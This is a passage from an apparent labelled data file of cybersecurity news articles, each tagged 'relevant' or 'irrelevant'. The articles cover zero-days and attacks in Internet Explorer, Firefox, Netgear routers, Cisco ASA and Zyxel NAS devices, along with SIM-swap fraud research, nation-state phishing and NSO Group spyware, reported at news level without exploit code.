Darkhotel, according to the researchers at Qihoo 360 who found the bug. “The impact [could be] no less than the damage caused by the previous WannaCry ransomware virus,” the security firm said in a Chinese-language web advisory. “At present, it is judged from the details and characteristics of the captured attacks that the zero-day vulnerability of IE browser is suspected to have come from the Peninsula’s APT organization, Darkhotel.” Darkhotel was first identified in 2014 by Kaspersky researchers, who said the group had been active since at least 2007. The group is known for targeting diplomats and corporate executives via Wi-Fi networks at luxury hotels – but it has widened its targeting over the years, while continuing to leverage zero-day vulnerabilities and exploits. In this case, Darkhotel is using Office documents for targeted attacks, according to Qihoo 360. “The attacker’s in-field exploitation embeds the vulnerability in an Office document, and users will be successful when they open an Office document or browse the web,” the firm warned. “Once the user opens the malicious document carrying the vulnerability, he will browse the malicious webpage and execute the attack program. The user is not even aware that the device has been controlled. The attacker can take the opportunity to implant ransomware, monitor and monitor, and steal sensitive information And so on.” Patch and Workaround While Microsoft is aware of “limited targeted attacks,” a patch won’t be released until next month’s Patch Tuesday, according to the computing giant. “Our standard policy is to release security updates on Update Tuesday, the second Tuesday of each month. This predictable schedule allows for partner quality assurance and IT planning, which helps maintain the Windows ecosystem as a reliable, secure choice for our customers,” it said. One of the reasons the sense of urgency may be less than one would expect with a zero-day is the fact that all supported versions of IE in their default configuration use Jscrip9.dll as their scripting engine, which is not vulnerable to the flaw. However, the issue affects versions of IE being used in Windows 7, which reached end-of-life last week and therefore no longer supported. Qihoo 360 warned that this install base in particular is at risk. For those that do use jscript.dll, Microsoft detailed a workaround that involves using administrative commands to restrict access to the scripting library. It’s not ideal however: It could result in reduced functionality for components or features that rely on jscript.dll. “For example, depending on the environment, this could include client configurations that leverage proxy automatic configuration scripts (PAC scripts),” Microsoft said. “These features and others may be impacted.” Also, users will need to revert this workaround in order to install any future patches or updates. The team at 0patch has meanwhile released micropatch this week that implements the workaround while addressing some of the downsides. “Because the provided workaround has multiple negative side effects, and because it is likely that Windows 7 and Windows Server 2008 R2 users without Extended Security Updates will not get the patch at all (their support ended this month), we decided to provide a micropatch that simulates the workaround without its negative side effects,” the company said in a blog. “Microsoft’s workaround comprises setting permissions on jscript.dll such that nobody will be able to read it. This workaround has an expected negative side effect that if you’re using a web application that employs legacy JScript (and can as such only be used with Internet Explorer), this application will no longer work in your browser.” According to 0patch, other negative side effects of the workaround that the micropatch avoids are: Windows Media Player is reported to break on playing MP4 files. The sfc (Resource Checker), a tool that scans the integrity of all protected system files and replaces incorrect versions with correct Microsoft versions, chokes on jscript.dll with altered permissions. Printing to “Microsoft Print to PDF” is reported to break. Proxy automatic configuration scripts (PAC scripts) may not work.",relevant
"Mobile Carrier Customer Service Ushers in SIM-Swap Fraud Weak challenge questions by customer service reps make it easy for fraudsters to hijack a phone line and bypass 2FA to breach accounts. Mobile carriers have left the door wide open to SIM-swap attacks, particularly when it comes to prepaid accounts, researchers have found. SIM swapping is a form of fraud that allows crooks to bypass SMS-based two-factor authentication (2FA) and crack online banking or other high-value accounts. According to PhishLabs, a typical attack would start with an attacker phishing personal and banking information – often via SMS phishing, which has the added benefit of confirming that a victim’s cell phone number is an active line. Then, the next step is to call the person’s mobile carrier – easily discovered with an online search – and ask to port the line to a different SIM card/device. Here’s where the issue comes in: Many carriers don’t ask in-depth security questions that fully verify that the caller is in fact the legitimate cell phone user, according to a recent academic experiment. Thus, fraudsters are able to transfer the line to a device that they control – thereby putting themselves into position to intercept 2FA text codes. From there, it’s easy to use the previously phished information to gain access to and take over an account. The primary check in this kill chain should clearly be the mobile carrier’s verification processes. However, according to a recent Princeton University study, researchers tested five North American prepaid telecom companies (AT&T, T-Mobile, Tracfone, US Mobile and Verizon Wireless) to see if they could successfully port their own number to another SIM card. In trying 10 times each with each carrier, they found that they could do so in most cases, thanks to a lack of strong verification processes. “All five carriers used insecure authentication challenges that could easily be subverted by attackers,” according to the report. “We also found that in general, callers only needed to successfully respond to one challenge in order to authenticate, even if they had failed numerous prior challenges. Within each carrier, procedures were generally consistent, although on nine occasions across two carriers, [customer service representatives] CSRs either did not authenticate the caller or leaked account information prior to authentication.” Further, the experiment was structured so that no advanced fraud tactics were used. “Our simulated attacker knew only information about the victim that would be easily accessible without overcoming any other security measures,” the report explained. “Specifically, our attacker knew the victim’s name and phone number. We also assumed that the attacker was capable of interacting with the carrier only through its ordinary customer service and account refill interfaces.” The researchers began by telling the CSRs that they needed to use a new SIM card because the old one was faulty. After that, CSRs typically posed authentication questions, usually asking for one of the following: An account PIN, recently dialed numbers (call logs), personal information like date of birth or billing address, model numbers or other device information, answers to security questions (i.e., “in what city were you born”), and so on. If the callers could not answer an authentication challenge correctly, the tactic was to claim to have forgotten the information or to provide incorrect answers. “When providing incorrect answers to personal questions such as date of birth or billing ZIP code, [research assistants] would explain that they had been careless at signup, possibly having provided incorrect information, and could not recall the information they had used,” the report outlined. The CSRs would then often provide hints, which could help the “attackers” to locate the correct information via online searches. The results of the SIM-swap attempts are collected below: Many of the authentication methods could be subverted with slightly more sophisticated attack skills, the report noted. For instance, to provide an outgoing number from the call log, an attacker could send the victim a vague text asking for a callback for some purported urgent request. In order to capture device information, a malicious app could be employed to harvest it. If asked for the date or amount of the last payment, an attacker could purchase a refill card at a retail store, submit a refill on the victim’s account, then request a SIM swap using the known refill as authentication. It may seem like a lot of effort to subvert some of these authentication challenges, but the payoff can be huge when you’re talking about corporate targets. PhishLabs pointed out in a Thursday posting on the attack method that Twitter CEO Jack Dorsey was a victim of the tactic; and in another known case, an attack resulted in the victim having a Coinbase account emptied that was worth around $100,000 in cryptocurrency. “Though still uncommon, mobile phone customers in the U.S. and Canada are the prime targets of these attacks and their private accounts such as their banking information is the end goal,” the firm said. After disclosing the findings to the carriers in question, the Princeton researchers got little response. They noted: “In July 2019 we provided an initial notification of our findings to the carriers we studied and to CTIA, the U.S. trade association representing the wireless communications industry. In January 2020, T-Mobile informed us that after reviewing our research, it has discontinued the use of call logs for customer authentication.” Threatpost reached out to the carriers for comment. The research echoes previous findings that also illustrated the lack of strong authentication at mobile carrier call centers. At the Security Analyst Summit in Singapore last year, David Jacoby, a Swedish member of Kaspersky’s global research and analysis team (GReAT), explained how Swedish telcos ask only for a bare minimum of information from callers – and publicly available information at that – before agreeing to make account changes to specific numbers. This has led to real-world attacks where victims have found their mobile phone calls hijacked and redirected to a rogue number. In terms of mitigation, some say that relying on standard fraud-detection technologies isn’t a perfect solution for corporations looking to protect themselves from these kinds of attacks. “There are two approaches you can use to combat SIM-swap attacks, namely detection and prevention,” said Dewald Nolte, chief commercial officer at Entersekt. “Due to the way that the industry uses SMS-based verification codes, detection is not always a fail-safe way of eliminating this type of attack. It can certainly make life more difficult for the perpetrator, but there are advanced techniques available to get around most of the detection techniques.” In its writeup, PhishLabs noted that targeted organizations can instead reduce the threat of SIM-swap attacks to account security by using 2FA methods that can’t be exploited remotely, such as security keys that require the user to have physical possession of a token to unlock an account.",irrelevant
"Mootbot Botnet Targets Fiber Routers with Dual Zero-Days Researchers saw several IoT botnets using one of the bugs in the wild after a proof-of-concept was published in March. The Mootbot botnet has been using a pair of zero-day exploits to compromise multiple types of fiber routers. According to researchers, other botnets have attempted to do the same, but have so far failed. According to researchers at NetLab 360, the operators of the Mootbot botnet in late February started to exploit a zero-day bug found in nine different types of fiber routers used to provide internet access and Wi-Fi to homes and businesses (including the Netlink GPON router). The flaw is a remote code-execution bug with a public proof-of-concept (PoC) exploit – but for it to be used successfully to compromise a target router, it must be paired with a second vulnerability. “It is likely most of the vendors are OEM products of the same original vendor,” the firm explained in a recent posting. However, NetLab 360 said that it wouldn’t release the original vendor’s name nor details of the second bug, because the vendor told the security firm that it didn’t see the bug as viable. “On March 17, we confirmed the exploit was a 0-day and reported the result to CNCERT,” according to the analysis. “We also contacted the vendor but was told this problem should not be happening because the default config of the device should not have this issue (the reality is different). So they won’t take this case from us.” Despite that initial assessment, a PoC code for the bug emerged on ExploitDB a day later. And a day after that, on March 19, the firm saw attacks in the wild using the PoC to attempt to spread the Gafgyt botnet. A few days later, the botnet had adopted the PoC as part of a worming attempt to move from router to router. Meanwhile, on March 24, another wave of exploit attempts emerged using the PoC, this time trying to spread the Fbot botnet. “The PoC lefts out a crucial prerequisite – another vulnerability needs to be used together with this PoC for it to work,” researchers explained. “So, a successful execution of the injected commands will not have the target device compromised.” Moobot is a new botnet family based on Mirai botnet, which targets internet of things (IoT) devices. While most IoT botnets go after gear that may have weak or default passwords, Mootbot stands out for its use of zero-day exploits, researchers said. It’s worth noting that the malware was also seen in March using multiple zero days to target LILIN DVR and IP cameras. Though it didn’t release details of the second success factor in the kill chain, NetLab 360 recommended that to protect against the threat, users that have fiber-based internet access routers should check and update their device firmware, and check whether there are default accounts that should be disabled. Jack Mannino, CEO at nVisium, told Threatpost that the focus on routers offers attackers certain advantages. “Controlling network infrastructure will always be an appealing attacker goal because of the springboard it provides for launching future attacks,” he said. “As a software developer, it’s important to consider that the networks your users access your product from may be compromised, and build this into your threat models. Whether it’s the level of access it provides to network traffic, or the chokepoints and amplifiers for DDoS attacks they present, previous botnets, such as Mirai, gave us a glimpse into what these campaigns can achieve. More security teams focus on their Patch Tuesday fixes than updating the devices they frequently expose directly to the internet.”",relevant
"Mozilla Updates Firefox Browser: Zero-Day Bug Patched, Fingerprinting Nixed Mozilla tackles high-severity bugs in its latest Firefox 72 and Firefox ESR 68.4 releases at the same time rolls a major privacy feature . UPDATE Mozilla patched a critical vulnerability actively being exploited in the wild with its latest update to the Firefox browser. Mozilla said in a security bulletin Wednesday that it was “aware of targeted attacks in the wild that were abusing the flaw. A successful attack “could make it possible for attackers who successfully exploit it to abuse affected systems,” according to Mozilla. The disclosure came a day after Mozilla released its latest Firefox 72 browser on Tuesday. The Firefox 72 release introduced new privacy features along with patching five high-severity bugs. The latest patched version of Mozilla’s browser is Firefox 72.0.1 and Firefox ESR 68.4.1. The Firefox ESR browser is its Extended Support Release version of Firefox, designed for mass deployments. Zero-Day Details The critical zero-day flaw, impacting both Firefox browsers (CVE-2019-17026) “is a type confusion vulnerability in IonMonkey, the JavaScript Just-In-Time (JIT) compiler for SpiderMonkey, Mozilla’s JavaScript engine,” according to a description by Tenable. A type confusion vulnerability is a specific bug that can lead to out-of-bounds memory access and can lead to code execution or component crashes that an attacker can exploit. The attack can be leverage by luring a Firefox user with an outdated browser to web page with maliciously code. Details of attacks exploiting the bug were not available. Bug Fixes for Firefox and ESR The Tuesday release of Firefox 72 tackles five high-severity flaws, four moderate bugs and one low-risk vulnerability. Three of the five high-severity bugs were tied to memory-corruption issues. One of the flaws (CVE-2019-17015) is described as “memory corruption in parent process during new content process initialization on Windows.” Attackers exploiting the security hole, which only exists in Windows systems, can create a “crash in the parent process.” Another high-severity bug (CVE-2019-17017) is a “type-confusion” vulnerability found in XPCVariant.cpp. “The vulnerability allows a remote attacker to execute arbitrary code on the target system,” Mozilla wrote. The “.ccp” extension of XPCVariant refers to a source-code file written in C++. This variety of type-confusion bug is common within ActionScript Virtual Machine components and is not exclusively problematic to Firefox. It can be triggered “when a piece of code doesn’t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion,” according to a Microsoft description. All of the bug fixes rated “high” by Mozilla on Tuesday apply to both Firefox 72 and ESR 68.4, with the exception of the flaw tracked as CVE-2019-17025. That bug, described as a “memory-safety bug,” only impacts Firefox 72. “Some of these [memory-safety] bugs showed evidence of memory corruption, and we presume that with enough effort, some of these could have been exploited to run arbitrary code,” wrote Mozilla. Memory safety is described by Arun Rajeevan as “the state of being protected from various software bugs and security vulnerabilities when dealing with memory access.” Browser Fingerprinting Chief among a number of browser enhancements is the introduction of built-in protections against websites and advertisers that track users across multiple websites using a technique called fingerprinting. The technique identifies visitors based on browser settings that include dozens of invisible variables such as browser versions, fonts, SVG (graphics) widgets and Web Graphics Library (WebGL), for starters. “Firefox 72 protects users against fingerprinting by blocking all third-party requests to companies that are known to participate in fingerprinting. This prevents those parties from being able to inspect properties of a user’s device using JavaScript. It also prevents them from receiving information that is revealed through network requests, such as the user’s IP address or the user agent header,” wrote Steven Englehardt, a privacy engineer at Mozilla in a blog post Wednesday. (This article was updated on Jan. 9 at 8:30 am with added details of the vulnerability CVE-2019-17026.)",relevant
"Nation-State Attacks Drop in Latest Google Analysis Phishing and zero-days continue to be a core part of the APT arsenal. Google has registered a significant drop in government-backed cyberattacks against its properties and the people who use its products. Google sends out warnings if it detects that an account is a target of government-backed phishing or malware attempts. For 2019, the internet giant sent almost 40,000 warnings – which, while a large number, is still a nearly 25 percent drop from the year before. Nation-State Trends In terms of trends amongst the warnings, the analysis showed that main targets included, perhaps unsurprisingly, geopolitical rivals, government officials, journalists, dissidents and activists. In 2019, about 20 percent of accounts that received a warning were targeted multiple times by attackers. Google also uncovered that phishing and zero-day exploits continue to be APT weapons of choice. On the former front, Google researchers saw a growing trend emerge towards impersonating news outlets and journalists, especially when it comes to attackers from Iran and North Korea. “For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation,” explained Toni Gidwani, security engineering manager at the company’s Threat Analysis Group (TAG), writing in an overview of nation-state trends, published last week. “In other cases, attackers will send several benign emails to build a rapport with a journalist or foreign-policy expert before sending a malicious attachment in a follow up email.” On the zero-day front, TAG discovered bugs affecting Android, Chrome, iOS, Internet Explorer and Windows over the course of last year, including CVE-2020-0674. This is a memory-corruption vulnerability disclosed in late January, a critical flaw for most Internet Explorer versions, allowing remote code-execution and complete takeover. Other notable bugs included CVE-2018-8653, CVE-2019-0676, CVE-2019-1367 and CVE-2019-1429 in Internet Explorer; CVE-2019-5786 in Chrome; and CVE-2019-0808 in Windows Kernel. Zero-Day Details Three bugs (CVE-2018-8653, CVE-2019-1367 and CVE-2020-0674) are vulnerabilities inside jscript.dll, Gidwani said. “Therefore all exploits enabled IE8 rendering and used JScript.Compact as JS engine. In most Internet Explorer exploits, attackers abused the Enumerator object in order to gain remote code execution.” Meanwhile, CVE-2019-0676 “enables attackers to reveal presence or non-presence of files on the victim’s computer; this information was later used to decide whether or not a second stage exploit should be delivered,” according to the writeup. And, “the attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.” In one campaign, a single APT was seen using five zero-day exploits, delivered using watering-hole attacks, links to malicious websites and inemail attachments in targeted spear-phishing campaigns. “Finding this many zero-day exploits from the same actor in a relatively short time frame is rare,” said Gidwani. “The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.” Nonetheless, he said that it’s encouraging to see the decline in attacks. “One reason for this decline is that our new protections are working,” said Gidwani. “Attackers’ efforts have been slowed down and they’re more deliberate in their attempts, meaning attempts are happening less frequently as attackers adapt.”",relevant
"Netgear Zero-Day Allows Full Takeover of Dozens of Router Models An unpatched vulnerability in the web server of device firmware gives attackers root privileges, researchers said. UPDATED Researchers this week said they discovered an unpatched, zero-day vulnerability in firmware for Netgear routers that put 79 device models at risk for full takeover, they said. Netgear has since issued several hot fixes, available here. The flaw, a memory-safety issue present in the firmware’s httpd web server, allows attackers to bypass authentication on affected installations of Netgear routers, according to two separate reports: One on the Zero Day Initiative (ZDI) by a researcher called “d4rkn3ss” from the Vietnam Posts and Telecommunications Group; and a separate blog post by Adam Nichols of cybersecurity firm Grimm. “The specific flaw exists within the httpd service, which listens on TCP Port 80 by default,” according to the ZDI report, which covers the bug’s presence in the R6700 series Netgear routers. “The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, stack-based buffer.” Authentication is not required to exploit the vulnerability, which attackers can use to gain root privileges, according to the report. ZDI said it informed Netgear of the vulnerability in January. The vendor had asked for an extension until the end of June for public disclosure, which ZDI declined. For his part, Nichols discovered the flaw initially in the Netgear R7000 router series, but eventually identified 79 different Netgear devices and 758 firmware images that included a vulnerable copy of the web server. “This vulnerability affects firmwares as early as 2007 (WGT624v4, version 2.0.6),” he said in his post. “Given the large number of firmware images, manually finding the appropriate gadgets is infeasible. Rather, this is a good opportunity to automate gadget detection.” Nichols said that the problem lies in lack of support for a feature called stack cookies, or stack canaries—a reference to the use of a “canary in a coal mine”–which are used to detect a stack buffer overflow before execution of malicious code can occur, he explained. While some Netgear routers support this feature – namely, the D8500 firmware version 1.0.3.29 and the R6300v2 firmware versions 1.0.4.12-1.0.4.20 – most others do not, he said. “Later versions of the D8500 and R6300v2 stopped using stack cookies, making this vulnerability once again exploitable,” Nichols explained in the post. “This is just one more example of how SOHO device security has fallen behind as compared to other modern software.” Web servers in the firmware of SOHO devices in general are often the most vulnerable aspect of the system as they “must parse user input from the network and run complex CGI functions that use that input,” he said. “Furthermore, the web server is written in C and has had very little testing, and thus it is often vulnerable to trivial memory-corruption bugs,” Nichols said. Exploitation The zero-day vulnerability can be exploited in two ways, Nichols explained in his post. One way to is to exploit the recv function used in the http parser in the web server through a series of steps that eventually lead to a stack-buffer overflow. Attackers also can use a cross-site request forgery (CSRF) attack to exploit the vulnerability, though he or she needs to know the model and version of the router they’re targeting to pull this off successfully, he explained. “If a user with a vulnerable router browses to a malicious website, that website could exploit the user’s router … by serving an HTML page which sends an AJAX request containing the exploit to the target device:” Nichols said. “However, as the CSRF web page cannot read any responses from the target server, it is not possible to remotely fingerprint the device.” One mitigation for the vulnerability is to restrict interaction with the service to trusted machines, according to the ZDI report. “Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it,” according to the report. “This could be accomplished in a number of ways, most notably with firewall rules/whitelisting.” In March, Netgear patched a critical remote code execution bug that could allow an unauthenticated attacker to take control of its Wireless AC Router Nighthawk (R7800) hardware running firmware versions prior to 1.0.2.68. It also addressed two high-severity bugs impacting Nighthawk routers, 21 medium-severity flaws and one rated low.",relevant
"Cisco Network Security Flaw Leaks Sensitive Data The flaw exists in Cisco’s network security Firepower Threat Defense (FTD) software and its Adaptive Security Appliance (ASA) software. A high-severity vulnerability in Cisco’s network security software could lay bare sensitive data – such as WebVPN configurations and web cookies – to remote, unauthenticated attackers. The flaw exists in the web services interface of Cisco’s Firepower Threat Defense (FTD) software, which is part of its suite of network security and traffic management products; and its Adaptive Security Appliance (ASA) software, the operating system for its family of ASA corporate network security devices. “An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device,” according to a Wednesday advisory from Cisco. “A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.” The vulnerability (CVE-2020-3452), which ranks 7.5 out of 10 on the CVSS scale, is due to a lack of proper input validation of URLs in HTTP requests processed by affected devices. Specifically, the vulnerability allows attackers to conduct directory traversal attacks, which is an HTTP attack enabling bad actors to access restricted directories and execute commands outside of the web server’s root directory. “This vulnerability… is highly dangerous,” said Mikhail Klyuchnikov of Positive Technologies, who was credited with independently reporting the flaw (along with Ahmed Aboul-Ela of RedForce), in a statement provided to Threatpost. “The cause is a failure to sufficiently verify inputs. An attacker can send a specially crafted HTTP request to gain access to the file system (RamFS), which stores data in RAM.” A potential attacker can view files within the web services file system only. The web services file system is enabled for specific WebVPN and AnyConnect features (outlined in Cisco’s advisory). The web services files that the attacker can view may have information such as WebVPN configuration, bookmarks, web cookies, partial web content and HTTP URLs. Cisco said the vulnerability affects products if they are running a vulnerable release of Cisco ASA Software or Cisco FTD Software, with a vulnerable AnyConnect or WebVPN configuration: “The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features,” according to its advisory. However, “this vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.” To eliminate the vulnerability, Klyuchnikov urged Cisco users to update Cisco ASA to the most recent version. Cisco said it’s not aware of any malicious exploits for the vulnerability – however, it is aware of proof-of-concept (POC) exploit code released Wednesday by security researcher Ahmed Aboul-Ela. Earlier in May, Cisco stomped out 12 high-severity vulnerabilities across its ASA and FTD network security products. The flaws could be exploited by unauthenticated remote attackers to launch an array of attacks – from denial of service (DoS) to sniffing out sensitive data.",relevant
"New Mirai Variant ‘Mukashi’ Targets Zyxel NAS Devices The botnet exploits a vulnerability discovered last month that can allow threat actors to remotely compromise and control devices. Another variant of the shape-shifting Mirai botnet is attacking Zyxel network-attached storage (NAS) devices using a critical vulnerability that was only recently discovered, according to security researchers. The variant, dubbed Mukashi, takes advantage of a pre-authentication command injection vulnerability found in Zyxel NAS storage devices, according to researchers at Palo Alto Networks’ Unit 42 global threat intelligence team. A proof of concept for the vulnerability, CVE-2020-9054, was published publicly only last month. “Mukashi brute forces the logins using different combinations of default credentials, while informing its command and control (C2) server of the successful login attempts,” Unit 42 Ken Hsu, Zhibin Zhang and Ruchna Nigam wrote in a blog post published Thursday. Many and potentially all Zyxel NAS products running firmware versions up to 5.21 are vulnerable to compromise, they said. “We’re aware of the CVE-2020-9054 vulnerability and already released firmware updates for the affected products immediately,’ a spokesperson for Zyxel wrote to Threatpost in response to email-based questions about the bug. “We’ve been proactively communicating the issue to our customers on Zyxel Forum and through direct email alerts to urge customers to install the firmware updates or follow the workaround for optimal protection,” the company representative wrote. Researchers Alex Holden, founder of Milwaukee-based security firm Hold Security, discovered the Zyxel NAS vulnerability last month when someone was selling precise instructions for how to exploit it on the cybercrime underground. He alerted Brian Krebs of KrebsonSecurity, who informed Zyxel of the exploit and published a report about the vulnerability, which he said can allow a threat actor to remotely compromise and take control of more than a dozen of Zyxel’s devices. “This initial discovery also mentioned ‘the exploit is now being used by a group of bad guys who are seeking to fold the exploit into Emotet,'” according to Unit 42 researchers. The Mirai botnet has been around in some form or another for some time. Source code for Mirai was released in October 2016 and since then numerous malware variants have been seen in the wild. The Internet of Things (IoT) botnet has been linked to major distributed denial of service (DDoS) attacks, and its multiple variants in the past several years have been indiscriminate in their targeting. Mirai and its variants have been observed taking down technology such as routers, internet-based companies such as DNS providers, business sectors such as financial services, and horizontal players such as enterprise companies, to name a few. Mirai even has bolstered cybercriminals by giving the DDoS as a service industry prevalent on hacker forums a boost. Mirai variants observed by researchers show a shift in focus in the last year to target hardware and processors, and the latest variant Mukashi bucks that trend. Mukashi shares some characteristics with previous Mirai variants as well as the Mirai botnet from which it was spawned, Unit 42 researchers wrote. The variant operates by scanning the TCP port 23 of random hosts, brute forcing the logins using different combinations of default credentials. It then reports the successful login attempt to its C2 server, from which it is also capable of receiving C2 commands and launching DDoS attacks—a characteristic it shares with other Mirai variants, they said. Before being fully deployed, Mukashi binds to the TCP port 23448 to ensure only a single instance of the botnet runs on the infected system, according to researchers. Then, once executed, Mukashi prints the message “Protecting your device from further infections” to the console, after which it changes its process name to “dvrhelper”–a name implies that implies Mukashi may also have inherited some of Mirai’s functionality, they wrote. One thing that is different about Mukashi than other Mirai variants is its method of encryption, researchers noted. While those use conventional xor encryption, Mukashi uses a custom decryption routine to encrypt these commands and credentials, they said, providing a script for the encryption. Zyxel has published a vendor advisory on the vulnerability as well as a website for testing whether a device is vulnerable. On March 9, researchers identified over 16 security flaws in Zyxel’s Cloud CNM SecuManager software. Some of those bugs included multiple backdoors and hardcoded SSH server keys.",relevant
"NSA Urgently Warns on Industrial Cyberattacks, Triconex Critical Bug Power plants, factories, oil and gas refineries and more are all in the sights of foreign adversaries, the U.S. warns. The U.S. National Security Agency (NSA) and the Cybersecurity and Infrastructure Security Agency (CISA) have issued an alert warning that adversaries could be targeting critical infrastructure across the U.S. Separately, ICS-CERT issued an advisory on a critical security bug in the Schneider Electric Triconex TriStation and Tricon Communication Module. These safety instrumented system (SIS) controllers are responsible for shutting down plant operations in the event of a problem and act as an automated safety defense for industrial facilities, designed to prevent equipment failure and catastrophic incidents such as explosions or fire. They’ve been targeted in the past, in the TRITON attack of 2017. “Over recent months, cyber-actors have demonstrated their continued willingness to conduct malicious cyber-activity against critical infrastructure (CI) by exploiting internet-accessible operational technology (OT) assets,” said the NSA/CISA joint advisory, released on Thursday. “Due to the increase in adversary capabilities and activity, the criticality to U.S. national security and way of life and the vulnerability of OT systems, civilian infrastructure makes attractive targets for foreign powers attempting to do harm to U.S. interests or retaliate for perceived U.S. aggression.” Vulnerable OT Systems The advisory goes on to point out that OT systems often consist of legacy equipment that was never designed to be connected to the internet nor defend against malicious cyberactivities. At the same time, more and more utilities, petrochemical installations, factories and so on are looking to increase remote operations. This means conducting various activities over the web using an IT network to connect to the OT side, enabling monitoring, instrumentation and control, OT asset management/maintenance, and in some cases, process operations and maintenance. Generally, adversaries are using spearphishing efforts to obtain initial access to the organization’s IT network, before pivoting to the OT network, the advisory added. “Combined with readily available information that identifies OT assets connected via the internet (e.g., Shodan, Kamerka), are creating a ‘perfect storm’ of easy access to unsecured assets, use of common, open-source information about devices, and an extensive list of exploits deployable via common exploit frameworks,” the agencies warned. The NSA/CISA advisory also detailed that in the wild, several cyberattack attempts have been observed. These include attempts to: Deploy of commodity ransomware on both IT and OT networks; communicate with controllers and downloading modified control logic; use vendor engineering software and program downloads; and modify control logic and parameters on programmable logic controllers (PLCs). PLCs are responsible for directly reading and manipulating physical processes in industrial environments. If successful, these efforts could result in an OT network going down, a partial loss of view for human operators, lost productivity and revenue, or, in the worst-case scenario, adversary control and disruption to physical processes. “Cyber campaigns are an ideal way for nation-states to apply pressure on the global stage, because they offer the advantage of plausible deniability plus the rules of engagement are undefined,” Phil Neray, vice president of industrial cybersecurity at CyberX, said via email. “This NSA/CISA advisory is particularly interesting because it appears to be tied to ongoing campaigns targeting industrial control systems, and it explicitly mentions the need for organizations to protect against sophisticated living-off-the-land tactics such as modifying the control logic in process controllers, which is exactly what we saw in the TRITON attack.” Two partial-loss-of-view incidents have been recorded in the U.S. before: One was a ransomware attack on a pipeline in February that knocked it offline for two days; and the other was an attack on a wind-and-solar power plant last November. Loss of view means that the organization loses the ability to monitor the current status of its physical systems. Neray said in an interview with Threatpost at the time that “if an attacker wanted to shut down parts of the grid, one of their first steps might be precisely this loss-of-view step, because it would leave utility operators ‘blind’ to subsequent disruptive actions the attackers would take, such as switching relays off to halt the flow of electricity.” Triconex Redux…and a Critical Bug Corresponding with the NSA/CISA alert is an ICS-CERT advisory about a handful of bugs, one critical and ranking 10 out of 10 on the CvSS vulnerability-severity scale, in Triconex SIS equipment from Schneider. “Successful exploitation of these vulnerabilities may allow an attacker to view clear text data on the network, cause a denial-of-service condition or allow improper access,” according to the document. The disclosure is concerning, given the targeting of this Triconex SIS in the past. In 2017, a Middle Eastern oil and gas petrochemical facility was hit with a malware called TRITON (also TRISIS or HatMan), which exceeded other industrial cyberattacks because it directly interacted with and controlled the Triconex SIS. Because the SIS is the last line of automated safety defense for industrial facilities (i.e., protection functions meant to safeguard human lives) shutting it down paves the way for a destructive, physical attack that’s unhampered by failsafe mechanisms. In the case of the TRITON attack, that next stage thankfully never came – the attack was manually thwarted before it could get that far. The new crop of bugs impact TriStation 1131, v1.0.0 to v4.9.0, v4.10.0, and 4.12.0, operating on Windows NT, Windows XP or Windows 7; and Tricon Communications Module (TCM) Models 4351, 4352, 4351A/B, and 4352A/B installed in Tricon v10.0 to v10.5.3 systems. Current and more recent versions are not exposed to these specific vulnerabilities – but many ICS installations are still running legacy versions. The critical bug (CVE-2020-7491) is an improper access control flaw: “A legacy debug port account in TCMs installed in Tricon system Versions 10.2.0 through 10.5.3 is visible on the network and could allow inappropriate access.” There are also four, less-severe issues. The bug tracked as CVE-2020-7484 (severity rating of 7.5) allows uncontrolled resource consumption, according to ICS-CERT: “A vulnerability related to the password feature in TriStation 1131 Versions 1.0 through 4.12.0 could allow a denial-of-service attack if the user is not following documented guidelines pertaining to dedicated TriStation 1131 connection and key-switch protection.” Meanwhile, an uncontrolled resource consumption bug (CVE-2020-7486), also with a CvSS score of 7.5, could cause TCMs installed in Tricon system Versions 10.0.0 through 10.4.x to reset when under high network load. This reset could result in a denial of service behavior with the SIS. Another bug (CVE-2020-7485) is a hidden-functionality issue, severity rating of 5.5: “A vulnerability related to a legacy support account in TriStation 1131 versions 1.0 through 4.9.0 and 4.10.0 could allow inappropriate access to the TriStation 1131 project file.” And finally, CVE-2020-7483 (severity rating of 5.3) allows cleartext transmission of sensitive information. “A vulnerability related to the “password” feature in TriStation 1131 Versions 1.0 through 4.12.0 could cause certain data to be visible on the network when the feature was enabled,” according to the advisory. The NSA/CISA alert urges patching and mitigations across the civilian and military OT landscape, and offered steps to take within the advisory. “OT assets are critical to the Department of Defense (DoD) mission and underpin essential National Security Systems (NSS) and services, as well as the Defense Industrial Base (DIB) and other critical infrastructure,” it reads. “At this time of heightened tensions, it is critical that asset owners and operators of critical infrastructure take…immediate steps to ensure resilience and safety of U.S. systems should a time of crisis emerge in the near term.”",relevant
"NSO Group Impersonates Facebook Security Team to Spread Spyware — Report An investigation traces an NSO Group-controlled IP address to a fake Facebook security portal. According to an investigative journalist team, the Israeli authors of the infamous Pegasus mobile spyware, NSO Group, have been using a spoofed Facebook login page, crafted to look like an internal Facebook security team portal, to lure victims in. The news comes as Facebook alleges that NSO Group has been using U.S.-based infrastructure to launch espionage attacks. Both issues are relevant to Facebook’s quest to hold NSO accountable under U.S. laws (specifically the Computer Fraud and Abuse Act) for a spate of WhatsApp hacks that came to light last year. Pegasus, which infects both Android and Apple smartphones, contains a host of spy features. After scanning the target’s device, it installs the necessary modules to read the user’s messages and mail, listen to calls, capture screenshots, log pressed keys, exfiltrate browser history and contacts and carry out other surveillance tasks as needed. It’s widely believed to have been involved in spying on murdered Saudi dissident Jamal Khashoggi, journalists investigating cartel activity in Mexico and more. “A former NSO employee provided Motherboard with the IP address of a server setup to infect phones with NSO’s Pegasus hacking tool,” according to a Motherboard investigative report this week. “The IP address provided to Motherboard related to a one-click installation of Pegasus, the former employee said.” Motherboard’s investigation, partnering with DomainTools and RiskIQ, involved a review of passive domain name server (DNS) records to uncover where the IP address controlled by NSO Group resolved to. “Throughout 2015 and 2016, the IP address resolved to 10 domains,” the team wrote, one of which impersonated Facebook’s security team. The others were designed to appear as innocuous unsubscribe links, and others were crafted to look like package-tracking links 